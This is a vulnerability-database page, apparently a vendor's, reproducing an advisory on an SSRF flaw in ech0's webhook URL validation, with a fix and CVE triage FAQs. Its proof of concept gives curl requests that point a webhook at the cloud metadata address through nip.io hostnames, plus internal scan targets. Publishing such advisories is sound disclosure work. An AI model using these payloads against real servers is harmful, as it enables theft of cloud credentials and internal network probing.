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CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

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A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

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A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

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Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

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353,412

Total vulnerabilities in the database

Ech0 has SSRF via DNS Resolution Bypass in Webhook URL Validation — github.com/lin-snow/ech0

Server-Side Request Forgery (SSRF)

Summary

The validateWebhookURL function in webhook_setting_service.go attempts to block webhooks targeting private/internal IP addresses, but only checks literal IP strings via net.ParseIP(). Hostnames that DNS-resolve to private IPs (e.g., 169.254.169.254.nip.io, 10.0.0.1.nip.io) bypass all checks, allowing an admin to create webhooks that make server-side requests to internal network services and cloud metadata endpoints.

Details

The vulnerability is in validateWebhookURL (internal/service/setting/webhook_setting_service.go:180-199):

func validateWebhookURL(rawURL string) error {
    parsed, err := url.Parse(rawURL)
    // ...
    host := strings.ToLower(parsed.Hostname())
    if host == &quot;&quot; || host == &quot;localhost&quot; || strings.HasSuffix(host, &quot;.local&quot;) {
        return errors.New(commonModel.INVALID_WEBHOOK_URL)
    }
    if ip := net.ParseIP(host); ip != nil {  // &lt;-- returns nil for hostnames
        if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalMulticast() ||
            ip.IsLinkLocalUnicast() || ip.IsUnspecified() {
            return errors.New(commonModel.INVALID_WEBHOOK_URL)
        }
    }
    return nil  // hostname passes all checks unchecked
}

net.ParseIP("169.254.169.254.nip.io") returns nil because it is not a literal IP address. The entire private IP check block is skipped, and the function returns nil (valid).

Both HTTP clients that execute webhook requests use standard http.Client / http.Transport with no custom DialContext to verify resolved IPs:

TestWebhook (webhook_setting_service.go:169): &http.Client{Timeout: 5 * time.Second}
Dispatcher (dispatcher.go:51-58): &http.Client{...Transport: &http.Transport{...}} — no custom dialer

The Dispatcher.HandleObservation (dispatcher.go:67-81) iterates all active webhooks and dispatches without re-validating URLs, so a stored malicious webhook triggers SSRF on every application event.

Execution flow:

Admin calls POST /api/webhook with URL http://169.254.169.254.nip.io/latest/meta-data/
CreateWebhook → validateWebhookURL → net.ParseIP returns nil → passes validation
Webhook stored in database with is_active: true
On any echo event → Dispatcher.HandleObservation → Dispatch → SendWithRetry → DNS resolves 169.254.169.254.nip.io to 169.254.169.254 → POST to cloud metadata endpoint

PoC

# Step 1: Create a webhook targeting cloud metadata via DNS rebinding
curl -X POST http://localhost:8080/api/webhook \
  -H &#039;Authorization: Bearer &lt;admin-jwt&gt;&#039; \
  -H &#039;Content-Type: application/json&#039; \
  -d &#039;{&quot;name&quot;:&quot;ssrf-probe&quot;,&quot;url&quot;:&quot;http://169.254.169.254.nip.io/latest/meta-data/&quot;,&quot;secret&quot;:&quot;&quot;,&quot;is_active&quot;:true}&#039;

# Step 2: Trigger SSRF via test endpoint
curl -X POST http://localhost:8080/api/webhook/&lt;webhook-id&gt;/test \
  -H &#039;Authorization: Bearer &lt;admin-jwt&gt;&#039;

# The server makes an HTTP POST to 169.254.169.254 (AWS metadata).
# net.ParseIP(&quot;169.254.169.254.nip.io&quot;) returns nil, skipping all IP checks.
# Delivery status and error messages reveal connectivity information.

# For internal network scanning:
# http://10.0.0.1.nip.io:8080/
# http://127.0.0.1.nip.io:6379/

# With is_active:true, every application event automatically dispatches
# to the SSRF target via Dispatcher.HandleObservation (no re-validation).

Impact

Cloud metadata access: An admin can reach cloud instance metadata endpoints (AWS 169.254.169.254, GCP, Azure) to steal IAM credentials, instance identity tokens, and configuration data.
Internal network probing: Webhooks can scan internal services by observing delivery status (success/failed) and error messages, mapping internal network topology.
Persistent SSRF: Active webhooks fire on every application event via the Dispatcher, creating ongoing SSRF without further admin interaction.
Scope escalation: Impact escapes the application's security boundary to affect internal infrastructure, despite the application explicitly attempting to prevent this.

Recommended Fix

Replace the hostname-only check with a custom net.Dialer that resolves DNS and validates the resolved IP before connecting. Apply this to both HTTP clients:

import &quot;net&quot;

func safeDialContext(ctx context.Context, network, addr string) (net.Conn, error) {
    host, port, err := net.SplitHostPort(addr)
    if err != nil {
        return nil, err
    }
    ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
    if err != nil {
        return nil, err
    }
    for _, ip := range ips {
        if ip.IP.IsLoopback() || ip.IP.IsPrivate() || ip.IP.IsLinkLocalUnicast() ||
            ip.IP.IsLinkLocalMulticast() || ip.IP.IsUnspecified() {
            return nil, fmt.Errorf(&quot;resolved IP %s is not allowed&quot;, ip.IP)
        }
    }
    dialer := &amp;net.Dialer{Timeout: 5 * time.Second}
    return dialer.DialContext(ctx, network, addr)
}

// Use in both TestWebhook and Dispatcher:
client := &amp;http.Client{
    Timeout: 5 * time.Second,
    Transport: &amp;http.Transport{
        DialContext: safeDialContext,
    },
}

This ensures resolved IPs are checked against the private range blocklist regardless of hostname used.

Published: Apr 10, 2026
Updated: Apr 11, 2026
GHSA: GHSA-r2x7-427f-rq69
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 5.5
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

CWEs:

CWE-918

Affected Software
References

Software	From	Fixed in
github.com/lin-snow/ech0	-	4.4.3

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.